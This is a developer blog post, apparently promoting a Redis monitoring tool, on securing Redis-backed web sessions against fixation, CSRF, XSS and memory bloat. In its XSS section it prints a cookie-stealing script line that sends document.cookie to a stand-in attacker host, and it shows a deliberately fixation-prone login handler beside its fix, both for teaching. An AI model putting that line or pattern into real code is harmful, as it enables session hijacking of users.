Redis Session Management Best Practices
Redis for sessions is a no-brainer. Fast reads, automatic expiration, shared across servers. What could go wrong?
Quite a bit, actually. Security holes, memory leaks, logout bugs, and session fixation attacks. All from "simple" session storage.
The Basics
A session in Redis:
SET session:abc123xyz "{\"userId\":1001,\"role\":\"admin\"}" EX 3600
Session ID as key, user data as value, TTL for expiration. Done.
Except this basic approach has problems.
Problem 1: Session Fixation
User logs in. You create a session. But the session ID was provided by the attacker (via URL parameter or preset cookie).
Bad:
app.post('/login', async (req, res) => {
// Uses existing session ID from cookie
const sessionId = req.cookies.sessionId || generateId();
await redis.set(`session:${sessionId}`, JSON.stringify({ userId }), 'EX', 3600);
res.cookie('sessionId', sessionId);
});
Good:
app.post('/login', async (req, res) => {
// Always generate new session ID on login
const oldSessionId = req.cookies.sessionId;
if (oldSessionId) {
await redis.del(`session:${oldSessionId}`); // Invalidate old
}
const newSessionId = crypto.randomUUID(); // Fresh ID
await redis.set(`session:${newSessionId}`, JSON.stringify({ userId }), 'EX', 3600);
res.cookie('sessionId', newSessionId, { httpOnly: true, secure: true });
});
Always regenerate session ID on privilege change (login, role change).
Problem 2: Session Doesn't Actually Expire
You set EX 3600. One hour later, session should be gone. But the user is still logged in.
Why: Sliding expiration. Every request refreshes the TTL.
// Middleware that extends session
app.use(async (req, res, next) => {
const sessionId = req.cookies.sessionId;
if (sessionId) {
await redis.expire(`session:${sessionId}`, 3600); // Reset TTL
}
next();
});
Active users stay logged in forever.
Fix: Absolute expiration
const sessionData = {
userId: 1001,
createdAt: Date.now(),
absoluteExpiry: Date.now() + 24 * 60 * 60 * 1000, // 24 hours max
};
// In middleware
const session = JSON.parse(await redis.get(`session:${sessionId}`));
if (session.absoluteExpiry < Date.now()) {
await redis.del(`session:${sessionId}`);
return res.redirect('/login');
}
// Can still have sliding expiration for idle timeout
await redis.expire(`session:${sessionId}`, 3600);
Problem 3: Logout Doesn't Work
User clicks logout. You delete the session.
app.post('/logout', async (req, res) => {
await redis.del(`session:${req.cookies.sessionId}`);
res.clearCookie('sessionId');
});
But user had multiple tabs open. Other tabs still have the session ID. They refresh. They're logged out.
Wait, that's correct behavior. What's the actual problem?
The real issue: Session stealing
If an attacker captured the session ID before logout, deleting from Redis means they're also logged out.
But if you want to invalidate all of a user's sessions:
// Track all sessions per user
await redis.sadd(`user:${userId}:sessions`, sessionId);
// On logout-all
const sessions = await redis.smembers(`user:${userId}:sessions`);
await redis.del(sessions.map(s => `session:${s}`));
await redis.del(`user:${userId}:sessions`);
Problem 4: Memory Bloat
Sessions created, users leave, sessions expire. Everything's fine.
Except for that one session with a huge cart object:
// Bad - storing too much in session
req.session.cart = {
items: [...hundredsOfItems],
priceHistory: [...everyPriceChange],
recommendations: [...aiGeneratedSuggestions],
};
This 500KB session times a million users = 500GB.
Best practice:
// Session stores references only
req.session = {
userId: 1001,
cartId: 'cart:1001', // Reference to separate key
};
// Cart stored separately with its own TTL
await redis.set('cart:1001', JSON.stringify(cartData), 'EX', 86400);
Keep sessions small. Store big data separately.
Problem 5: Cross-Site Attacks
CSRF with sessions:
User is logged in. Visits malicious site. Malicious site makes request to your API. Browser sends session cookie. Request succeeds.
Mitigation:
// Use SameSite cookies
res.cookie('sessionId', id, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // HTTPS only
sameSite: 'strict', // Not sent on cross-site requests
});
XSS and session theft:
If httpOnly is false, JavaScript can read the cookie:
// Attacker's script
fetch('https://evil.com/steal?session=' + document.cookie);
Always httpOnly: true.
Recommended Session Structure
const session = {
// Identity
userId: 1001,
// Security
createdAt: Date.now(),
absoluteExpiry: Date.now() + 24 * 60 * 60 * 1000,
ipAddress: req.ip,
userAgent: req.headers['user-agent'],
// Permissions (cached, not authoritative)
role: 'admin',
// CSRF token
csrfToken: crypto.randomBytes(32).toString('hex'),
};
Don't store:
- Passwords (obviously)
- Full user profiles
- Large objects (carts, preferences)
- Anything that changes frequently
Key Naming Convention
session:<sessionId> # Session data
user:<userId>:sessions # Set of user's active sessions
session:<sessionId>:metadata # IP, user agent for security
Or namespaced:
auth:session:<sessionId>
auth:user:<userId>:sessions
Monitoring Sessions
What to watch:
| Metric | Why |
|---|---|
| Total session count | Memory planning |
| Sessions without TTL | Memory leak |
| Session size distribution | Find bloated sessions |
| Sessions per user | Detect abuse |
| Expired sessions not deleted | Redis config issue |
In Redimo:
Pattern Monitor on session:*:
- Total count
- TTL status (catch missing TTLs)
- Size per session
- Click to inspect suspicious ones
Session Storage Patterns
Pattern 1: Simple String
SET session:abc123 '{"userId":1001}' EX 3600
Pros: Simple, fast Cons: Must serialize/deserialize entire object
Pattern 2: Hash
HSET session:abc123 userId 1001 role admin createdAt 1705312245
EXPIRE session:abc123 3600
Pros: Read/write individual fields Cons: Two commands for create
Pattern 3: With Metadata Separate
SET session:abc123 '{"userId":1001}' EX 3600
HSET session:abc123:meta ip 192.168.1.1 ua "Mozilla/5.0"
EXPIRE session:abc123:meta 3600
Pros: Clean separation, can log metadata without touching session Cons: Multiple keys to manage
Invalidation Strategies
Invalidate One Session
await redis.del(`session:${sessionId}`);
Invalidate All User Sessions
// Requires tracking sessions per user
const sessionIds = await redis.smembers(`user:${userId}:sessions`);
if (sessionIds.length > 0) {
await redis.del(sessionIds.map(id => `session:${id}`));
await redis.del(`user:${userId}:sessions`);
}
Invalidate Sessions by Criteria
Password changed? Invalidate all sessions older than the change.
const sessions = await redis.smembers(`user:${userId}:sessions`);
for (const sessionId of sessions) {
const session = JSON.parse(await redis.get(`session:${sessionId}`));
if (session.createdAt < passwordChangedAt) {
await redis.del(`session:${sessionId}`);
await redis.srem(`user:${userId}:sessions`, sessionId);
}
}
Framework Integration
Express + express-session
const session = require('express-session');
const RedisStore = require('connect-redis').default;
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 3600000,
},
}));
NestJS
@Module({
imports: [
CacheModule.register({
store: redisStore,
host: 'localhost',
port: 6379,
}),
],
})
Or use @nestjs/passport with Redis session store.
Next.js
// Using iron-session with Redis
import { getIronSession } from 'iron-session';
const session = await getIronSession(req, res, {
password: process.env.SESSION_SECRET,
cookieName: 'session',
cookieOptions: {
secure: process.env.NODE_ENV === 'production',
},
});
Checklist
- Generate new session ID on login
- Use cryptographically random session IDs
- Set
httpOnly,secure,sameSiteon cookies - Implement absolute expiration (not just idle timeout)
- Track sessions per user for bulk invalidation
- Keep session data small
- Monitor session key patterns
- Have invalidation strategy for password changes
- Test logout actually works (all tabs, all devices)
Sessions look simple. Getting them right requires thought. Redis makes the storage fast - you make it secure.
Download Redimo to monitor your session storage and catch issues early.